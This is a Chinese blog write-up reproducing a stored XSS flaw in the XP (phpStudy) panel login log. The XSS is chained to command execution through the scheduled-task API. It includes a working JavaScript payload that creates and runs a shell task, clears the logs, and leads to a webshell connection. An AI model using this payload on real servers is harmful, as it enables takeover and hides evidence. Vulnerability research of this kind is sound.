小皮面板rce

发布时间 2023-03-22 22:03:16作者: C10ud

0x00 简介

小皮面板,是由phpStudy官方团队针对Linux服务器开发推出的一款服务器环境搭建以及管理工具。可以通过Web端方便、快速的搭建和管理服务器环境。

0x01 漏洞概述

在面板登录界面,未对账户的输入进行严格的xss过滤,而这些输入又会被记录到日志中,从而造成存储型xss。更为严重的危害是可以配合定时任务功能进行rce。

0x02 影响版本

小皮面板v1.0

0x03 环境搭建

现在官网下载的版本已经加入了xss恶意输入过滤,需要通过其他方式下载以前的版本。

http://x.downyagt.com:7658/down2/xpmbazcx_v0.102_downyi.com.zip

下载安装完之后打开初始信息文件访问控制面板。

fig:

fig:

0x04 漏洞复现

打开登录页面,用户名输入xss payload,密码任意,会弹出登录失败。

fig:

接着正常登录进去。

fig:

弹出弹窗,执行xss成功,查看登录日志,js应该是在此执行。

fig:

该系统的后台有一个计划任务功能,其中可以执行系统命令,所以结合登录处的XSS漏洞可以通过写入计划任务来达到命令执行的目的。

通过python启动http服务,让插入日志中的js代码来执行我们构造的poc。

fig:

poc如下:

,function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res){
$.post('/service/app/tasks.php?type=set_task_status',{
task_id:id,
status:0
},function(res1){
$.post('/service/app/tasks.php?type=set_task_status',{
task_id:id,
status:0
},function(res2){
$.post("/service/app/log.php?type=clearlog",{
type:"clearlog"
},function(res3){},"json");
},"json");
},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="13";
data.minute = "51";
data.shell="echo swzaq >D:/phpstudyweb/xp.cn/www/1.txt";
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();

注意要把我们测试xss的那个日志给删除掉,否则会引起执行冲突,插入paylaod。

fig:

在计划任务中可以看到,我们的php文件被写入成功。

fig:

fig:

需要注意的是,可能部分版本的小皮面板需要在站点设置中选择php版本后系统才会解析执行php文件。

fig:

蚁剑连接测试,攻击成功。

fig:

0x05 修复方式

最新版本的小皮面板已经加入了xss过滤,请立即更新。

参考链接:https://blog.csdn.net/weixin_46944519/article/details/128954060